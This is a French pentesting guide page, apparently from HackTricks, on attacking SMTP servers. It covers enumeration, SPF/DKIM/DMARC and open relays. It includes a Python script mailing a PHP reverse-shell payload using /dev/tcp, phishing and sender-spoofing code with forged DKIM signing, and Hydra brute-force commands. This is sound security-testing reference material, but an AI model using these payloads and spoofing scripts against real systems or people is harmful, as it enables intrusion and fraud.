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..
README.md	Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat	2024-01-10 06:28:13 +00:00
smtp-commands.md	Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql-	2024-01-02 23:36:53 +00:00

README.md

25,465,587 - Test d'intrusion SMTP/s

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

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Configuration immédiatement disponible pour l'évaluation de la vulnérabilité et le test d'intrusion. Lancez un test d'intrusion complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au rapport. Nous ne remplaçons pas les testeurs d'intrusion - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur redonner du temps pour approfondir, obtenir des accès et s'amuser.

{% embed url="https://pentest-tools.com/" %}

Informations de base

SMTP (Simple Mail Transfer Protocol) est un protocole TCP/IP utilisé pour envoyer et recevoir des e-mails. Cependant, comme il est limité dans sa capacité à mettre en file d'attente les messages à l'extrémité de réception, il est généralement utilisé avec l'un des deux autres protocoles, POP3 ou IMAP, qui permettent à l'utilisateur de sauvegarder les messages dans une boîte aux lettres du serveur et de les télécharger périodiquement depuis le serveur.

En d'autres termes, les utilisateurs utilisent généralement un programme qui utilise SMTP pour envoyer des e-mails et soit POP3 soit IMAP pour recevoir des e-mails. Sur les systèmes basés sur Unix, sendmail est le serveur SMTP le plus utilisé pour les e-mails. Un package commercial, Sendmail, comprend un serveur POP3. Microsoft Exchange comprend un serveur SMTP et peut également être configuré pour inclure la prise en charge POP3.
Depuis ici.

Port par défaut : 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

En-têtes EMAIL

Si vous avez l'opportunité de faire envoyer un email par la victime (via le formulaire de contact de la page web par exemple), faites-le car vous pourriez en apprendre davantage sur la topologie interne de la victime en observant les en-têtes du mail.

Vous pouvez également obtenir un email d'un serveur SMTP en essayant d'envoyer à ce serveur un email à une adresse inexistante (car le serveur enverra à l'attaquant un mail NDN). Mais, assurez-vous que vous envoyez l'email depuis une adresse autorisée (vérifiez la politique SPF) et que vous pouvez recevoir des messages NDN.

Vous devriez aussi essayer d'envoyer différents contenus car vous pourriez trouver des informations plus intéressantes dans les en-têtes comme : X-Virus-Scanned: by av.domain.com
Vous devriez envoyer le fichier de test EICAR.
Détecter l'AV peut vous permettre d'exploiter des vulnérabilités connues.

Actions de base

Récupération de bannière/Connexion de base

SMTP :

nc -vn <IP> 25

SMTPS :

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Trouver les serveurs MX d'une organisation

dig +short mx google.com

Énumération

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Authentification NTLM - Divulgation d'informations

Si le serveur prend en charge l'authentification NTLM (Windows), vous pouvez obtenir des informations sensibles (versions). Plus d'informations ici.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Ou **automatisez** cela avec le plugin **nmap** `smtp-ntlm-info.nse`

### Nom du serveur interne - Divulgation d'informations

Certains serveurs SMTP complètent automatiquement l'adresse de l'expéditeur lorsque la commande "MAIL FROM" est émise sans une adresse complète, révélant ainsi son nom interne :

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Vérifiez si vous pouvez intercepter des mots de passe à partir des paquets vers le port 25

Auth bruteforce

Énumération de Bruteforce de Noms d'utilisateur

L'authentification n'est pas toujours nécessaire

RCPT TO

$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
MAIL FROM:test@test.org
250 2.1.0 test@test.org... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
VRFY root
250 Super-User <root@myhost>
VRFY blah
550 blah... User unknown

EXPN

$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 <ed.williams@myhost>
EXPN sshd
250 2.1.5 sshd privsep <sshd@mail2>

Extrait de : https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/

Outils automatiques

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

La DragonJAR Security Conference est un événement international de cybersécurité qui existe depuis plus d'une décennie et se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement au contenu technique élevé où sont présentées les dernières recherches en espagnol, attirant des hackers et des chercheurs du monde entier.
Inscrivez-vous maintenant en suivant le lien ci-dessous et ne manquez pas cette importante conférence ! :

{% embed url="https://www.dragonjarcon.org/" %}

Rapports DSN

Rapports de Notification d'État de Distribution : Si vous envoyez un email à une organisation à une adresse invalide, l'organisation vous notifiera que l'adresse était invalidée en envoyant un email en retour. Les en-têtes de l'email retourné contiendront des informations sensibles possibles (comme l'adresse IP des services de messagerie qui ont interagi avec les rapports ou des informations sur le logiciel anti-virus).

Commandes

Envoyer un Email depuis la console Linux

root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.

Sincerely,

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Envoyer un Email avec Python

Voici une autre méthode pour envoyer un email avec un script python

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

Usurpation d'Email

La majeure partie de cette section a été extraite du livre Network Security Assessment 3rd Edition.

Les messages SMTP sont facilement usurpés, c'est pourquoi les organisations utilisent les fonctionnalités SPF, DKIM et DMARC pour empêcher l'envoi d'emails non autorisés.

Un guide complet de ces contre-mesures est disponible sur https://seanthegeek.net/459/demystifying-dmarc/

SPF

{% hint style="danger" %} SPF a été "déprécié" en 2014. Cela signifie qu'au lieu de créer un enregistrement TXT dans _spf.domain.com, vous le créez dans domain.com en utilisant la même syntaxe.
De plus, pour réutiliser des enregistrements spf précédents, il est assez courant de trouver quelque chose comme "v=spf1 include:_spf.google.com ~all" {% endhint %}

Le Sender Policy Framework (SPF) fournit un mécanisme qui permet aux MTAs de vérifier si un hôte envoyant un email est autorisé.
Les organisations peuvent alors définir une liste de serveurs de messagerie autorisés et les MTAs peuvent interroger ces listes pour vérifier si l'email a été usurpé ou non.
Afin de définir les adresses IP/plages, domaines et autres qui sont autorisés à envoyer des emails au nom d'un nom de domaine, différents "Mécanismes" peuvent apparaître dans le registre SPF.

Mécanismes

Mécanisme	Description
ALL	Correspond toujours ; utilisé pour un résultat par défaut comme `-all` pour toutes les IPs non appariées par les mécanismes précédents.
A	Si le nom de domaine a un enregistrement d'adresse (A ou AAAA) qui peut être résolu à l'adresse de l'expéditeur, il correspondra.
IP4	Si l'expéditeur se trouve dans une plage d'adresses IPv4 donnée, correspond.
IP6	Si l'expéditeur se trouve dans une plage d'adresses IPv6 donnée, correspond.
MX	Si le nom de domaine a un enregistrement MX qui se résout à l'adresse de l'expéditeur, il correspondra (c'est-à-dire que le courrier provient de l'un des serveurs de messagerie entrants du domaine).
PTR	Si le nom de domaine (enregistrement PTR) pour l'adresse du client est dans le domaine donné et que ce nom de domaine se résout à l'adresse du client (DNS inversé confirmé), correspond. Ce mécanisme est déconseillé et doit être évité, si possible.
EXISTS	Si le nom de domaine donné se résout à n'importe quelle adresse, correspond (peu importe l'adresse à laquelle il se résout). C'est rarement utilisé. Avec le langage de macro SPF, il offre des correspondances plus complexes comme les requêtes DNSBL.
INCLUDE	Référence la politique d'un autre domaine. Si la politique de ce domaine passe, ce mécanisme passe. Cependant, si la politique incluse échoue, le traitement continue. Pour déléguer entièrement à la politique d'un autre domaine, l'extension de redirection doit être utilisée.
REDIRECT	Une redirection est un pointeur vers un autre nom de domaine qui héberge une politique SPF, cela permet à plusieurs domaines de partager la même politique SPF. C'est utile lorsqu'on travaille avec un grand nombre de domaines qui partagent la même infrastructure de messagerie. La politique SPF du domaine indiqué dans le mécanisme de redirection sera utilisée.

Il est également possible d'identifier des Qualificateurs qui indiquent ce qui doit être fait si un mécanisme correspond. Par défaut, le qualificateur "+" est utilisé (donc si un mécanisme correspond, cela signifie qu'il est autorisé).
Vous remarquerez généralement à la fin de chaque politique SPF quelque chose comme : ~all ou -all. Cela est utilisé pour indiquer que si l'expéditeur ne correspond à aucune politique SPF, vous devriez marquer l'email comme non fiable (~) ou rejeter (-) l'email.

Qualificateurs

Chaque mécanisme peut être combiné avec l'un des quatre qualificateurs :

+ pour un résultat PASS. Cela peut être omis ; par exemple, +mx est la même chose que mx.
? pour un résultat NEUTRAL interprété comme NONE (aucune politique).
~ (tilde) pour SOFTFAIL, un outil de débogage entre NEUTRAL et FAIL. Typiquement, les messages qui retournent un SOFTFAIL sont acceptés mais marqués.
- (moins) pour FAIL, le courrier doit être rejeté (voir ci-dessous).

Dans l'exemple suivant, vous pouvez lire la politique SPF de google.com. Notez comment la première politique SPF inclut les politiques SPF d'autres domaines :

kali@kali:~$ dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

kali@kali:~$ dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

kali@kali:~$ dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

kali@kali:~$ dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

kali@kali:~$ dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Traditionnellement, il était possible de falsifier n'importe quel nom de domaine qui n'avait pas d'enregistrement SPF correct ou en l'absence de celui-ci. De nos jours, si un courriel provient d'un domaine sans enregistrement SPF valide, il sera probablement rejeté/marqué comme non fiable automatiquement.

Pour vérifier l'SPF d'un domaine, vous pouvez utiliser des outils en ligne comme : https://www.kitterman.com/spf/validate.html

DKIM

DomainKeys Identified Mail (DKIM) est un mécanisme par lequel les courriels sortants sont signés et validés par des MTAs étrangers après avoir récupéré la clé publique d'un domaine via DNS. La clé publique DKIM est contenue dans un enregistrement TXT pour un domaine ; cependant, vous devez connaître à la fois le sélecteur et le nom de domaine pour la récupérer.

Ensuite, pour demander la clé, vous avez besoin du nom de domaine et du sélecteur du courriel à partir de l'en-tête du courriel DKIM-Signature par exemple : d=gmail.com;s=20120113

dig 20120113._domainkey.gmail.com TXT | grep p=
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC

Domain-based Message Authentication, Reporting & Conformance (DMARC) est une méthode d'authentification de courrier qui s'appuie sur SPF et DKIM. Les politiques indiquent aux serveurs de messagerie comment traiter les e-mails pour un domaine donné et rapportent les actions effectuées.

Pour obtenir l'enregistrement DMARC, vous devez interroger le sous-domaine _dmarc

root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
_dmarc.yahoo.com.  1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"

root@kali:~# dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"

root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\;
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"

Balises DMARC

Nom de la balise	But	Exemple
v	Version du protocole	v=DMARC1
pct	Pourcentage de messages soumis au filtrage	pct=20
ruf	URI de rapport pour les rapports forensiques	ruf=mailto:authfail@example.com
rua	URI de rapport des rapports agrégés	rua=mailto:aggrep@example.com
p	Politique pour le domaine organisationnel	p=quarantine
sp	Politique pour les sous-domaines du DO	sp=reject
adkim	Mode d'alignement pour DKIM	adkim=s
aspf	Mode d'alignement pour SPF	aspf=r

Et les sous-domaines ?

Depuis ici.
Vous devez avoir des enregistrements SPF séparés pour chaque sous-domaine d'où vous souhaitez envoyer des mails.
Ce qui suit a été initialement posté sur openspf.org, qui était une excellente ressource pour ce genre de choses.

La Question Démoniaque : Et les sous-domaines ?

Si je reçois un mail de pielovers.demon.co.uk, et qu'il n'y a pas de données SPF pour pielovers, dois-je remonter d'un niveau et tester le SPF pour demon.co.uk ? Non. Chaque sous-domaine chez Demon est un client différent, et chaque client peut avoir sa propre politique. Il ne serait pas logique que la politique de Demon s'applique à tous ses clients par défaut ; si Demon souhaite le faire, il peut configurer des enregistrements SPF pour chaque sous-domaine.

Donc le conseil aux éditeurs de SPF est le suivant : vous devriez ajouter un enregistrement SPF pour chaque sous-domaine ou nom d'hôte qui a un enregistrement A ou MX.

Les sites avec des enregistrements A ou MX génériques devraient également avoir un enregistrement SPF générique, sous la forme : * IN TXT "v=spf1 -all"

Cela a du sens - un sous-domaine peut très bien se trouver dans un emplacement géographique différent et avoir une définition SPF très différente.

Relais Ouvert

Pour éviter que les emails envoyés soient filtrés par les filtres anti-spam et n'atteignent pas le destinataire, l'expéditeur peut utiliser un serveur relais de confiance pour le destinataire. Souvent, les administrateurs n'ont pas de vue d'ensemble sur les plages d'IP qu'ils doivent autoriser. Cela résulte en une mauvaise configuration du serveur SMTP que nous trouverons encore souvent dans les tests de pénétration externes et internes. Par conséquent, ils autorisent toutes les adresses IP pour ne pas causer d'erreurs dans le trafic des emails et ainsi ne pas perturber ou interrompre involontairement la communication avec les clients potentiels et actuels :

mynetworks = 0.0.0.0/0

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Outils

https://github.com/serain/mailspoof Vérifier les mauvaises configurations de SPF et DMARC
https://pypi.org/project/checkdmarc/ Obtenir automatiquement les configurations de SPF et DMARC

Envoyer un Email Falsifié

Ou vous pourriez utiliser un outil :

https://github.com/magichk/magicspoofing****

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} Si vous rencontrez une erreur lors de l'utilisation de la librairie python dkim pour analyser la clé, n'hésitez pas à utiliser la suivante.
REMARQUE : Il s'agit simplement d'un correctif rapide pour effectuer des vérifications rapides dans les cas où, pour une raison quelconque, la clé privée openssl ne peut pas être analysée par dkim.

{% endhint %}

Ou vous pourriez le faire manuellement :

{% tabs %} {% tab title="PHP" %}

# Cela enverra un message non signé
mail("your_email@gmail.com", "Sujet de test!", "hey! Ceci est un test", "De: administrator@victim.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

Plus d'infos

Trouvez plus d'informations sur ces protections sur https://seanthegeek.net/459/demystifying-dmarc/

Autres indicateurs de phishing

Âge du domaine
Liens pointant vers des adresses IP
Techniques de manipulation de liens
Pièces jointes suspectes (peu communes)
Contenu d'email endommagé
Valeurs utilisées différentes de celles des en-têtes de mail
Existence d'un certificat SSL valide et de confiance
Soumission de la page à des sites de filtrage de contenu web

Exfiltration via SMTP

Si vous pouvez envoyer des données via SMTP lisez ceci.

Fichier de configuration

Postfix

Habituellement, s'il est installé, dans /etc/postfix/master.cf contient des scripts à exécuter quand par exemple un nouveau mail est reçu par un utilisateur. Par exemple, la ligne flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} signifie que /etc/postfix/filtering sera exécuté si un nouveau mail est reçu par l'utilisateur mark.

Autres fichiers de configuration :

sendmail.cf
submit.cf

Commandes Automatiques HackTricks

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>

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